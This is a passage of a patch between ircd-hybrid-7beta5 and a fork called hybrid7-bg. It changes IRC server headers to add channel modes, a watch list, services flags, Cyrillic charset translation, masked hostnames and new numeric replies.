 #define SecretChannel(x)        ((x) && ((x)->mode.mode & MODE_SECRET))
 /* channel not shown but names are */
 #define HiddenChannel(x)        ((x) && ((x)->mode.mode & MODE_PRIVATE))
+
+/* colors stripped from chanmsgs, notices, ctcps, quits */
+#define NoColorChannel(x)       ((x) && ((x)->mode.mode & MODE_NOCOLOR))
+
+#define RegNicksOnlyChannel(x)  ((x) && ((x)->mode.mode & MODE_REGNICKS))
+#define RegsMaySpeakChannel(x)  ((x) && ((x)->mode.mode & MODE_REGSPEAK))
+
+#define NoCyrNicksChannel(x)    ((x) && ((x)->mode.mode & MODE_CYRNICKS))
+
+/* we are pacing JOINs, PARTs, PRIVMSGs and QUITs sent to the channel */
+#define PaceChannel(x)			((x) && ((x)->mode.mode & MODE_PACE))
+
+#define NoRepeatChannel(x)		((x) && ((x)->mode.mode & MODE_NOREPEAT))		
+
 /* channel visible */
 #define ShowChannel(v,c)        (PubChannel(c) || IsMember((v),(c)))
 #define PubChannel(x)           ((!x) || ((x)->mode.mode &\
@@ -239,8 +299,29 @@
 } aBan;
 
 #define CLEANUP_CHANNELS_TIME (30*60)
+#define PACE_CHANNELS_TIME 1           /* pace queue flush frequency */
+
 #define MAX_VCHAN_TIME (60*60)
 /* Number of chanops, peon, voiced, halfops sublists */
 #define MAX_SUBLISTS 4
-#endif  /* INCLUDED_channel_h */
+#define MAX_PACEJOIN 100               /* max number of events in pace queue */
+#define MAX_PACEMSG  100
+#define MAX_PACESEND 100
 
+extern char *strip_color(const char *, int);
+
+/*
+ * we don't need this anymore...   -demond
+ *
+#define strip_color(x) if (x) {\
+    char *p = x, *q = x;\
+    if (strchr(x, '\003') || strchr(x, '\033'))\
+      do {\
+        if ((*q == '\003') || (*q == '\033'))\
+          ++q;\
+      }\
+        while (*p++ = *q++);\
+    }
+*/
+
+#endif  /* INCLUDED_channel_h */
diff -uNrd ircd-hybrid-7beta5/include/class.h hybrid7-bg/include/class.h
--- ircd-hybrid-7beta5/include/class.h	Thu Dec 21 15:05:37 2000
+++ hybrid7-bg/include/class.h	Tue Jun  5 12:35:43 2001
@@ -16,7 +16,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  */
-/* $Id: class.h,v 7.8 2000/12/21 20:05:37 db Exp $ */
+/* $Id: class.h,v 1.1.1.1 2001/06/05 16:35:43 demond Exp $ */
 
 #ifndef INCLUDED_class_h
 #define INCLUDED_class_h
diff -uNrd ircd-hybrid-7beta5/include/client.h hybrid7-bg/include/client.h
--- ircd-hybrid-7beta5/include/client.h	Wed May  9 04:08:16 2001
+++ hybrid7-bg/include/client.h	Wed Jul 24 09:13:18 2002
@@ -17,7 +17,7 @@
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
  *
- * $Id: client.h,v 7.110 2001/05/09 08:08:16 a1kmm Exp $
+ * $Id: client.h,v 1.13 2002/07/24 13:13:18 Administrator Exp $
  */
 #ifndef INCLUDED_client_h
 #define INCLUDED_client_h
@@ -71,6 +71,47 @@
 struct Client;
 struct LocalUser;
 
+struct Repeat {
+
+	struct Channel *chptr;		/* last phrase block */
+	char *text;
+	time_t lastphrase;
+};
+
+struct SLink;
+struct Watch;
+
+typedef struct Client aClient;
+typedef struct Channel aChannel;
+typedef struct ConfItem aConfItem;
+/*typedef struct Ban aBan;*/
+typedef struct Watch aWatch;
+
+typedef struct SLink Link;
+
+struct SLink 
+{
+    struct SLink *next;
+    union
+    {
+	aClient    *cptr;
+	aChannel   *chptr;
+	aConfItem  *aconf;
+	aBan       *banptr;
+	aWatch *wptr;
+	char       *cp;
+    } value;
+    int         flags;
+};
+
+struct Watch 
+{
+    aWatch  *hnext;
+    time_t   lasttime;
+    Link  *watch;
+    char  nick[1];
+};
+
 /*
  * Client structures
  */
@@ -79,6 +120,9 @@
   struct User*   next;          /* chain of anUser structures */
   dlink_list     channel;       /* chain of channel pointer blocks */
   dlink_list     invited;       /* chain of invite pointer blocks */
+
+  dlink_list	repeat;			/* chain of last phrases per channel blocks */
+
   char*          away;          /* pointer to away message */
   time_t         last_away;     /* Away since... */
   time_t         last;
@@ -92,6 +136,7 @@
   char id_key[IDLEN + 1];
   /* When did we detach from them, if they are detached... */
   time_t            last_detach_time;
+  int known;	/* USER came from particular type of client */
 };
 
 struct Server
@@ -136,6 +181,9 @@
   unsigned int      umodes;     /* opers, normal users subset */
   unsigned int      flags;      /* client flags */
   unsigned int      flags2;     /* ugh. overflow */
+
+  unsigned int      svsflags;   /* services flags */
+
   int               fd;         /* >= 0, for local clients */
   int 		    zipfd;	/* For ZipLinks. This is actually the network fd, rather than the fd to the zip
   				 * process. This way all of the code just reads and writes from the ziplink process.
@@ -176,6 +224,17 @@
    */
   char              host[HOSTLEN + 1];     /* client's hostname */
   /*
+   * this contains client's real host, whereas host[] field
+   * is modified (in register_local_user) to store masked hostname
+   *                                                     -demond
+   */
+  char          realhost[HOSTLEN + 1];
+  /*
+   * this contains client's IP, sent by CAP_IP-able server
+   *                                                     -demond
+   */
+  char          ip[HOSTLEN + 1];
+  /*
    * client->info for unix clients will normally contain the info from the 
    * gcos field in /etc/passwd but anything can go here.
    */
@@ -194,6 +253,9 @@
   dlink_list	allow_list;	/* clients I'll allow to talk to me */
   dlink_list	on_allow_list;	/* clients that have =me= on their allow list*/
 
+  Link *watch;
+  int watches;
+
   struct LocalUser *localClient;
 };
 
@@ -375,16 +437,25 @@
 #define FLAGS_INVISIBLE    0x0400 /* makes user invisible */
 #define FLAGS_BOTS         0x0800 /* shows bots */
 #define FLAGS_EXTERNAL     0x1000 /* show servers introduced and splitting */
+
+#define FLAGS_REMOTE       0x2000 /* Remote client registering */
+
 #define FLAGS_CALLERID     0x4000 /* block unless caller id's */
 #define FLAGS_UNAUTH       0x8000 /* show unauth connects here */
 #define FLAGS_DRONE        0x10000 /* show drone connects */
 #define FLAGS_LOCOPS       0x20000 /* show locops */
+
 #define FLAGS_PERSISTANT   0x100000 /* persist on close. */
+#define FLAGS_TRANSWIN     0x200000 /* translate cyrillic Windows-1251 */
+#define FLAGS_TRANSISO     0x400000 /* translate cyrillic ISO-8859-5 */
+#define FLAGS_REGACCEPT    0x800000 /* accepting from reg nicks only */
 
 /* user information flags, only settable by remote mode or local oper */
 #define FLAGS_OPER         0x40000 /* Operator */
 #define FLAGS_ADMIN        0x80000 /* Admin on server */
 
+#define FLAGS_SVS_IDENT    0x0001  /* client has identified with services */
+#define FLAGS_SVS_ADMIN    0x0002  /* client has identified as services admin */
 
 #define FLAGS_ALL	   FLAGS_SERVNOTICE
 #define FLAGS_NOTADMIN     FLAGS_OPER
@@ -432,8 +503,9 @@
                       FLAGS_REJ | FLAGS_SKILL | FLAGS_FULL | FLAGS_SPY | \
                       FLAGS_NCHANGE | FLAGS_OPERWALL | FLAGS_DEBUG | \
                       FLAGS_BOTS | FLAGS_EXTERNAL | FLAGS_DRONE | \
- 		      FLAGS_ADMIN | FLAGS_UNAUTH | FLAGS_CALLERID | \
-                      FLAGS_LOCOPS | FLAGS_PERSISTANT)
+ 				      FLAGS_ADMIN | FLAGS_UNAUTH | FLAGS_CALLERID | \
+                      FLAGS_LOCOPS | FLAGS_PERSISTANT | FLAGS_REMOTE | \
+                      FLAGS_TRANSWIN | FLAGS_TRANSISO | FLAGS_REGACCEPT)
 
 #define FLAGS_ID     (FLAGS_NEEDID | FLAGS_GOTID)
 
@@ -488,6 +560,15 @@
 #define SetCallerId(x)		((x)->umodes |= FLAGS_CALLERID)
 #define IsSetCallerId(x)	((x)->umodes & FLAGS_CALLERID)
 
+#define SendRemoteNotice(x)		((x)->umodes & FLAGS_REMOTE)
+
+#define SetTransWin(x)          ((x)->umodes |= FLAGS_TRANSWIN)
+#define IsSetTransWin(x)        ((x)->umodes & FLAGS_TRANSWIN)
+#define SetTransISO(x)          ((x)->umodes |= FLAGS_TRANSISO)
+#define IsSetTransISO(x)        ((x)->umodes & FLAGS_TRANSISO)
+#define SetRegAccept(x)         ((x)->umodes |= FLAGS_REGACCEPT)
+#define IsSetRegAccept(x)       ((x)->umodes & FLAGS_REGACCEPT)
+
 #define SetIpHash(x)            ((x)->flags |= FLAGS_IPHASH)
 #define ClearIpHash(x)          ((x)->flags &= ~FLAGS_IPHASH)
 #define IsIpHash(x)             ((x)->flags & FLAGS_IPHASH)
@@ -590,6 +671,19 @@
 extern int change_local_nick(struct Client *client_p, struct Client *source_p,
                              char *nick);
 extern int clean_nick_name(char* nick);
+
+extern char *translate(struct Client *client_p, char *buf);
+
+#define WATCHHASHSIZE U_MAX/16		/* reasonable for bnet i think... -demond */
+
+extern void 	  count_watch_memory(int *, u_long *);
+extern void    	  clear_watch_hash_table(void);
+extern int     	  add_to_watch_hash_table(char *, aClient *);
+extern int     	  del_from_watch_hash_table(char *, aClient *);
+extern int     	  hash_check_watch(aClient *, int);
+extern int     	  hash_del_watch_list(aClient  *);
+extern aWatch 	 *hash_get_watch(char *);
+#define MAXWATCH       128
 
 #endif /* INCLUDED_client_h */
 
diff -uNrd ircd-hybrid-7beta5/include/common.h hybrid7-bg/include/common.h
--- ircd-hybrid-7beta5/include/common.h	Sun Jan 23 16:02:35 2000
+++ hybrid7-bg/include/common.h	Tue Jun  5 12:35:43 2001
@@ -16,7 +16,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: common.h,v 7.2 2000/01/23 21:02:35 db Exp $
+ * $Id: common.h,v 1.1.1.1 2001/06/05 16:35:43 demond Exp $
  */
 #ifndef INCLUDED_common_h
 #define INCLUDED_common_h
diff -uNrd ircd-hybrid-7beta5/include/config.h hybrid7-bg/include/config.h
--- ircd-hybrid-7beta5/include/config.h	Sat May  5 09:37:32 2001
+++ hybrid7-bg/include/config.h	Tue Jun  5 12:35:43 2001
@@ -16,7 +16,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: config.h,v 7.107 2001/05/05 13:37:32 fl_ Exp $
+ * $Id: config.h,v 1.1.1.1 2001/06/05 16:35:43 demond Exp $
  */
 #ifndef INCLUDED_config_h
 #define INCLUDED_config_h
diff -uNrd ircd-hybrid-7beta5/include/config.h.dist hybrid7-bg/include/config.h.dist
--- ircd-hybrid-7beta5/include/config.h.dist	Mon May  7 11:50:29 2001
+++ hybrid7-bg/include/config.h.dist	Tue Jun  5 12:35:43 2001
@@ -16,7 +16,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: config.h.dist,v 7.44 2001/05/07 15:50:29 toot Exp $
+ * $Id: config.h.dist,v 1.1.1.1 2001/06/05 16:35:43 demond Exp $
  */
 #ifndef INCLUDED_config_h
 #define INCLUDED_config_h
diff -uNrd ircd-hybrid-7beta5/include/dline_conf.h hybrid7-bg/include/dline_conf.h
--- ircd-hybrid-7beta5/include/dline_conf.h	Mon Apr  9 11:13:57 2001
+++ hybrid7-bg/include/dline_conf.h	Tue Jun  5 12:35:43 2001
@@ -1,6 +1,6 @@
 /* dline_conf.h  -- lets do dlines right shall we?
  *
- * $Id: dline_conf.h,v 7.13 2001/04/09 15:13:57 davidt Exp $ 
+ * $Id: dline_conf.h,v 1.1.1.1 2001/06/05 16:35:43 demond Exp $ 
  */
 
 #ifndef INCLUDED_dline_conf_h
diff -uNrd ircd-hybrid-7beta5/include/event.h hybrid7-bg/include/event.h
--- ircd-hybrid-7beta5/include/event.h	Thu Apr 19 18:29:37 2001
+++ hybrid7-bg/include/event.h	Tue Jun  5 12:35:43 2001
@@ -2,7 +2,7 @@
  * event.h - defines for event.c, the event system. This has been ported
  * from squid by adrian to simplify scheduling events.
  *
- * $Id: event.h,v 1.7 2001/04/19 22:29:37 a1kmm Exp $
+ * $Id: event.h,v 1.1.1.1 2001/06/05 16:35:43 demond Exp $
  */
 #ifndef __EVENT_H__
 #define __EVENT_H__
diff -uNrd ircd-hybrid-7beta5/include/fdlist.h hybrid7-bg/include/fdlist.h
--- ircd-hybrid-7beta5/include/fdlist.h	Mon Mar  5 21:22:08 2001
+++ hybrid7-bg/include/fdlist.h	Tue Jun  5 12:35:43 2001
@@ -1,7 +1,7 @@
 /*
  * fdlist.h
  *
- * $Id: fdlist.h,v 7.19 2001/03/06 02:22:08 androsyn Exp $
+ * $Id: fdlist.h,v 1.1.1.1 2001/06/05 16:35:43 demond Exp $
  */
 #ifndef INCLUDED_fdlist_h
 #define INCLUDED_fdlist_h
diff -uNrd ircd-hybrid-7beta5/include/fileio.h hybrid7-bg/include/fileio.h
--- ircd-hybrid-7beta5/include/fileio.h	Fri Mar 23 05:47:56 2001
+++ hybrid7-bg/include/fileio.h	Tue Jun  5 12:35:43 2001
@@ -16,7 +16,7 @@
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
  *
- * $Id: fileio.h,v 7.7 2001/03/23 10:47:56 ejb Exp $
+ * $Id: fileio.h,v 1.1.1.1 2001/06/05 16:35:43 demond Exp $
  */
 #ifndef INCLUDED_fileio_h
 #define INCLUDED_fileio_h
diff -uNrd ircd-hybrid-7beta5/include/handlers.h hybrid7-bg/include/handlers.h
--- ircd-hybrid-7beta5/include/handlers.h	Mon Mar  5 21:22:08 2001
+++ hybrid7-bg/include/handlers.h	Tue Jun  5 12:35:43 2001
@@ -17,7 +17,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: handlers.h,v 7.36 2001/03/06 02:22:08 androsyn Exp $
+ * $Id: handlers.h,v 1.1.1.1 2001/06/05 16:35:43 demond Exp $
  */
 #ifndef INCLUDED_handlers_h
 #define INCLUDED_handlers_h
diff -uNrd ircd-hybrid-7beta5/include/hash.h hybrid7-bg/include/hash.h
--- ircd-hybrid-7beta5/include/hash.h	Mon Mar  5 21:04:57 2001
+++ hybrid7-bg/include/hash.h	Sun Nov  4 16:07:08 2001
@@ -16,7 +16,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: hash.h,v 7.8 2001/03/06 02:04:57 androsyn Exp $
+ *   $Id: hash.h,v 1.3 2001/11/04 21:07:08 demond Exp $
  */
 #ifndef INCLUDED_hash_h
 #define INCLUDED_hash_h
@@ -49,11 +49,18 @@
 };
 
 struct Client *hash_find_id(const char *name, struct Client *client_p);
+
+extern int services_present(void);
+extern struct Client* find_services(void);
+
 extern int add_to_id_hash_table(char *, struct Client *);
 extern struct HashEntry hash_get_channel_block(int i);
 extern size_t hash_get_client_table_size(void);
 extern size_t hash_get_channel_table_size(void);
 extern void   init_hash(void);
+
+extern void   clear_svs_client_hash_table(void);
+
 extern void   add_to_client_hash_table(const char* name, 
                                        struct Client* client);
 extern void   del_from_client_hash_table(const char* name, 
diff -uNrd ircd-hybrid-7beta5/include/hostmask.h hybrid7-bg/include/hostmask.h
--- ircd-hybrid-7beta5/include/hostmask.h	Mon May  7 17:27:11 2001
+++ hybrid7-bg/include/hostmask.h	Mon Jul  2 00:10:33 2001
@@ -15,7 +15,7 @@
  *  You should have received a copy of the GNU General Public License
  *  along with this program; if not, write to the Free Software
  *  Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
- * $Id: hostmask.h,v 1.12 2001/05/07 21:27:11 fl_ Exp $ 
+ * $Id: hostmask.h,v 1.2 2001/07/02 04:10:33 demond Exp $ 
  */
 
 enum
@@ -40,13 +40,13 @@
 int match_ipv6(struct irc_inaddr*, struct irc_inaddr*, int);
 int match_ipv4(struct irc_inaddr*, struct irc_inaddr*, int);
 struct ConfItem* find_conf_by_address(const char*, struct irc_inaddr*,
-                                      int, int, const char*);
+                                      int, int, const char*, char *);
 void add_conf_by_address(const char*, int, const char*, struct ConfItem*);
 void delete_one_address_conf(const char*, struct ConfItem*);
 void clear_out_address_conf(void);
 void init_host_hash(void);
 struct ConfItem* find_address_conf(const char*, const char*,
-                                   struct irc_inaddr*, int);
+                                   struct irc_inaddr*, int, char *);
 struct ConfItem* find_dline(struct irc_inaddr *, int);
 
 void report_dlines(struct Client*);
diff -uNrd ircd-hybrid-7beta5/include/irc_string.h hybrid7-bg/include/irc_string.h
--- ircd-hybrid-7beta5/include/irc_string.h	Wed Mar 14 16:50:04 2001
+++ hybrid7-bg/include/irc_string.h	Tue Jun  5 12:35:43 2001
@@ -16,7 +16,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: irc_string.h,v 7.16 2001/03/14 21:50:04 androsyn Exp $
+ *   $Id: irc_string.h,v 1.1.1.1 2001/06/05 16:35:43 demond Exp $
  */
 #ifndef INCLUDED_irc_string_h
 #define INCLUDED_irc_string_h
diff -uNrd ircd-hybrid-7beta5/include/ircd.h hybrid7-bg/include/ircd.h
--- ircd-hybrid-7beta5/include/ircd.h	Thu May 10 02:30:39 2001
+++ hybrid7-bg/include/ircd.h	Tue Jun  5 12:35:44 2001
@@ -19,7 +19,7 @@
  *
  * "ircd.h". - Headers file.
  *
- * $Id: ircd.h,v 7.31 2001/05/10 06:30:39 a1kmm Exp $
+ * $Id: ircd.h,v 1.1.1.1 2001/06/05 16:35:44 demond Exp $
  *
  */
 #ifndef INCLUDED_ircd_h
diff -uNrd ircd-hybrid-7beta5/include/ircd_defs.h hybrid7-bg/include/ircd_defs.h
--- ircd-hybrid-7beta5/include/ircd_defs.h	Wed Mar 28 00:50:09 2001
+++ hybrid7-bg/include/ircd_defs.h	Fri Jul 19 00:21:48 2002
@@ -17,7 +17,7 @@
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
  *
- * $Id: ircd_defs.h,v 7.19 2001/03/28 05:50:09 db Exp $
+ * $Id: ircd_defs.h,v 1.5 2002/07/19 04:21:48 Administrator Exp $
  *
  * ircd_defs.h - Global size definitions for record entries used
  * througout ircd. Please think 3 times before adding anything to this
@@ -32,24 +32,26 @@
 #  error Incorrect config.h for this revision of ircd.
 #endif
 
+#define BUFMAX			0x100
+
 #define HOSTLEN         63      /* Length of hostname.  Updated to         */
                                 /* comply with RFC1123                     */
 
-#define NICKLEN         9       /* Necessary to put 9 here instead of 10
+#define NICKLEN         15      /* Necessary to put 9 here instead of 10
                                  * if s_msg.c/m_nick has been corrected.
                                  * This preserves compatibility with old
                                  * servers --msa
                                  */
 #define USERLEN         10
 #define REALLEN         50
-#define TOPICLEN        120     /* old value 90, truncated on other servers */
+#define TOPICLEN        150     /* old value 90, truncated on other servers */
 #define KILLLEN         90      
 #define CHANNELLEN      200
 #define KEYLEN          23
 #define BUFSIZE         512     /* WARNING: *DONT* CHANGE THIS!!!! */
 #define MAXRECIPIENTS   20
-#define MAXBANS         25      /* bans + exceptions together */
-#define MAXBANLENGTH    1024
+#define MAXBANS         40      /* bans + exceptions + subst words together */
+#define MAXBANLENGTH    512
 
 #define OPERWALL_LEN    400     /* can be truncated on other servers */
 
@@ -62,6 +64,8 @@
 #define CLIENT_EXITED    -2
 #define CLIENT_PARSE_ERROR -1
 #define CLIENT_OK	1
+
+#define BUFFMAX			BUFSIZE
 
 /* 
  * Macros everyone uses :/ moved here from sys.h
diff -uNrd ircd-hybrid-7beta5/include/ircd_handler.h hybrid7-bg/include/ircd_handler.h
--- ircd-hybrid-7beta5/include/ircd_handler.h	Mon Mar  5 21:22:09 2001
+++ hybrid7-bg/include/ircd_handler.h	Tue Jun  5 12:35:44 2001
@@ -17,7 +17,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: ircd_handler.h,v 7.4 2001/03/06 02:22:09 androsyn Exp $
+ * $Id: ircd_handler.h,v 1.1.1.1 2001/06/05 16:35:44 demond Exp $
  */
 #ifndef INCLUDED_ircd_handler_h
 #define INCLUDED_ircd_handler_h
diff -uNrd ircd-hybrid-7beta5/include/ircd_signal.h hybrid7-bg/include/ircd_signal.h
--- ircd-hybrid-7beta5/include/ircd_signal.h	Thu Dec 30 15:35:30 1999
+++ hybrid7-bg/include/ircd_signal.h	Tue Jun  5 12:35:44 2001
@@ -17,7 +17,7 @@
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
  *
- * $Id: ircd_signal.h,v 7.1 1999/12/30 20:35:30 db Exp $
+ * $Id: ircd_signal.h,v 1.1.1.1 2001/06/05 16:35:44 demond Exp $
  *
  */
 #ifndef INCLUDED_ircd_signal_h
diff -uNrd ircd-hybrid-7beta5/include/ircdauth.h hybrid7-bg/include/ircdauth.h
--- ircd-hybrid-7beta5/include/ircdauth.h	Fri Dec 29 23:36:53 2000
+++ hybrid7-bg/include/ircdauth.h	Tue Jun  5 12:35:44 2001
@@ -16,7 +16,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: ircdauth.h,v 7.4 2000/12/30 04:36:53 lusky Exp $
+ * $Id: ircdauth.h,v 1.1.1.1 2001/06/05 16:35:44 demond Exp $
  */
 
 #ifndef INCLUDED_ircdauth_h
diff -uNrd ircd-hybrid-7beta5/include/list.h hybrid7-bg/include/list.h
--- ircd-hybrid-7beta5/include/list.h	Thu May 10 02:30:39 2001
+++ hybrid7-bg/include/list.h	Tue Jun  5 12:35:44 2001
@@ -20,7 +20,7 @@
  * "list.h". - Headers file.
  *
  *
- * $Id: list.h,v 7.11 2001/05/10 06:30:39 a1kmm Exp $
+ * $Id: list.h,v 1.1.1.1 2001/06/05 16:35:44 demond Exp $
  *
  */
 
diff -uNrd ircd-hybrid-7beta5/include/listener.h hybrid7-bg/include/listener.h
--- ircd-hybrid-7beta5/include/listener.h	Mon Feb 26 01:53:46 2001
+++ hybrid7-bg/include/listener.h	Tue Jun  5 12:35:44 2001
@@ -16,7 +16,7 @@
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
  *
- * $Id: listener.h,v 7.7 2001/02/26 06:53:46 androsyn Exp $
+ * $Id: listener.h,v 1.1.1.1 2001/06/05 16:35:44 demond Exp $
  */
 #ifndef INCLUDED_listener_h
 #define INCLUDED_listener_h
diff -uNrd ircd-hybrid-7beta5/include/m_info.h hybrid7-bg/include/m_info.h
--- ircd-hybrid-7beta5/include/m_info.h	Mon Mar 19 04:59:55 2001
+++ hybrid7-bg/include/m_info.h	Tue Jun  5 12:35:44 2001
@@ -16,7 +16,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: m_info.h,v 7.29 2001/03/19 09:59:55 toot Exp $
+ * $Id: m_info.h,v 1.1.1.1 2001/06/05 16:35:44 demond Exp $
  */
 #ifndef INCLUDED_m_info_h
 #define INCLUDED_m_info_h
diff -uNrd ircd-hybrid-7beta5/include/m_kline.h hybrid7-bg/include/m_kline.h
--- ircd-hybrid-7beta5/include/m_kline.h	Tue Mar 13 15:38:20 2001
+++ hybrid7-bg/include/m_kline.h	Tue Jun  5 12:35:44 2001
@@ -16,7 +16,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: m_kline.h,v 7.6 2001/03/13 20:38:20 fl_ Exp $
+ * $Id: m_kline.h,v 1.1.1.1 2001/06/05 16:35:44 demond Exp $
  */
 #ifndef INCLUDED_m_kline_h
 #define INCLUDED_m_kline_h
diff -uNrd ircd-hybrid-7beta5/include/memory.h hybrid7-bg/include/memory.h
--- ircd-hybrid-7beta5/include/memory.h	Sat Apr 21 12:01:40 2001
+++ hybrid7-bg/include/memory.h	Tue Jun  5 12:35:44 2001
@@ -1,4 +1,4 @@
-/* $Id: memory.h,v 7.15 2001/04/21 16:01:40 toot Exp $ */
+/* $Id: memory.h,v 1.1.1.1 2001/06/05 16:35:44 demond Exp $ */
 
 #ifndef _I_MEMORY_H
 #define _I_MEMORY_H
diff -uNrd ircd-hybrid-7beta5/include/modules.h hybrid7-bg/include/modules.h
--- ircd-hybrid-7beta5/include/modules.h	Wed Apr  4 12:17:38 2001
+++ hybrid7-bg/include/modules.h	Wed Jul 24 09:08:17 2002
@@ -16,7 +16,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: modules.h,v 7.17 2001/04/04 16:17:38 androsyn Exp $
+ * $Id: modules.h,v 1.5 2002/07/24 13:08:17 Administrator Exp $
  */
 
 #ifndef INCLUDED_modules_h
@@ -76,6 +76,7 @@
 extern struct Message cjoin_msgtab;
 extern struct Message client_msgtab;
 extern struct Message close_msgtab;
+extern struct Message conf_msgtab;
 extern struct Message connect_msgtab;
 extern struct Message die_msgtab;
 extern struct Message dmem_msgtab;
@@ -122,6 +123,8 @@
 extern struct Message squit_msgtab;
 extern struct Message stats_msgtab;
 extern struct Message svinfo_msgtab;
+extern struct Message svsnick_msgtab;
+extern struct Message svshint_msgtab;
 extern struct Message testline_msgtab;
 extern struct Message time_msgtab;
 extern struct Message topic_msgtab;
@@ -132,6 +135,7 @@
 extern struct Message users_msgtab;
 extern struct Message version_msgtab;
 extern struct Message wallops_msgtab;
+extern struct Message watch_msgtab;
 extern struct Message who_msgtab;
 extern struct Message whois_msgtab;
 extern struct Message whowas_msgtab;
diff -uNrd ircd-hybrid-7beta5/include/motd.h hybrid7-bg/include/motd.h
--- ircd-hybrid-7beta5/include/motd.h	Sun Jan 21 23:18:17 2001
+++ hybrid7-bg/include/motd.h	Tue Jun  5 12:35:44 2001
@@ -1,7 +1,7 @@
 /*
  * motd.h
  *
- * $Id: motd.h,v 7.5 2001/01/22 04:18:17 lusky Exp $
+ * $Id: motd.h,v 1.1.1.1 2001/06/05 16:35:44 demond Exp $
  */
 #ifndef INCLUDED_motd_h
 #define INCLUDED_motd_h
diff -uNrd ircd-hybrid-7beta5/include/msg.h hybrid7-bg/include/msg.h
--- ircd-hybrid-7beta5/include/msg.h	Mon Mar  5 21:22:09 2001
+++ hybrid7-bg/include/msg.h	Wed Sep 18 19:19:45 2002
@@ -17,7 +17,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: msg.h,v 7.38 2001/03/06 02:22:09 androsyn Exp $
+ * $Id: msg.h,v 1.2 2002/09/17 15:24:46 Administrator Exp $
  */
 #ifndef INCLUDED_msg_h
 #define INCLUDED_msg_h
@@ -70,6 +70,6 @@
                                          * clients.                           */
 #define   MFLG_IGNORE            0x04   /* silently ignore command from
                                          * unregistered clients */
-#define MAXPARA    15 
+#define MAXPARA    32 
 
 #endif /* INCLUDED_msg_h */
diff -uNrd ircd-hybrid-7beta5/include/numeric.h hybrid7-bg/include/numeric.h
--- ircd-hybrid-7beta5/include/numeric.h	Mon Mar 12 01:36:54 2001
+++ hybrid7-bg/include/numeric.h	Wed Jul 24 09:08:17 2002
@@ -16,7 +16,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: numeric.h,v 7.16 2001/03/12 06:36:54 a1kmm Exp $
+ * $Id: numeric.h,v 1.14 2002/07/24 13:08:17 Administrator Exp $
  */
 #ifndef INCLUDED_numeric_h
 #define INCLUDED_numeric_h
@@ -176,6 +176,11 @@
 #define RPL_STATSDLINE       225
 #define RPL_STATSALINE	     226
 
+#define RPL_STATSZLINE	     227
+#define RPL_EQUIVALENTS      228
+#define RPL_RELAYS           229
+#define RPL_USERPARMS        230
+
 #define RPL_SERVLIST         234
 #define RPL_SERVLISTEND      235
 
@@ -212,6 +217,8 @@
 
 /* numeric_replies */
 
+#define RPL_WHOISCYRILLIC    298 /* this nick is cyrillic-encoded */
+
 #define RPL_NONE             300
 #define RPL_AWAY             301
 #define RPL_USERHOST         302
@@ -241,6 +248,9 @@
 #define RPL_LISTEND          323
 #define RPL_CHANNELMODEIS    324
 
+#define RPL_WHOISSVSHINT     326 /* identified with services */
+#define RPL_WHOISREALHOST    327
+
 #define RPL_CREATIONTIME     329
 
 #define RPL_NOTOPIC          331
@@ -250,6 +260,8 @@
 #define RPL_INVITING         341
 #define RPL_SUMMONING        342
 
+#define RPL_SUBSTLIST		 344
+#define RPL_ENDOFSUBSTLIST   345
 #define RPL_INVITELIST       346
 #define RPL_ENDOFINVITELIST  347
 #define RPL_EXCEPTLIST       348
@@ -328,6 +340,7 @@
 #define ERR_USERSDISABLED    446
 
 #define ERR_NOTREGISTERED    451
+#define ERR_NOREPEATING      452
 
 #define ERR_NEEDMOREPARAMS   461
 #define ERR_ALREADYREGISTRED 462
@@ -337,6 +350,10 @@
 #define ERR_YOUWILLBEBANNED  466
 #define ERR_KEYSET           467
 
+#define ERR_CANNOTSENDNOTREG 468	/* only reg nicks may speak */
+#define ERR_REGNICKSCHAN     469        /* channel is for reg nicks only */
+#define ERR_NOCYRNICKCHAN    470        /* no cyrillic nicks allowed */ 
+
 #define ERR_CHANNELISFULL    471
 #define ERR_UNKNOWNMODE      472
 #define ERR_INVITEONLYCHAN   473
@@ -353,14 +370,31 @@
 #define ERR_RESTRICTED       484
 #define ERR_BANNEDNICK       485
 
+#define ERR_CANTKICKSERVICES 486
+#define ERR_CANTDEOPSERVICES 487
+
 #define ERR_NOOPERHOST       491
 
+#define ERR_REGACCEPTONLY    499        /* accepting from reg nicks only */
+
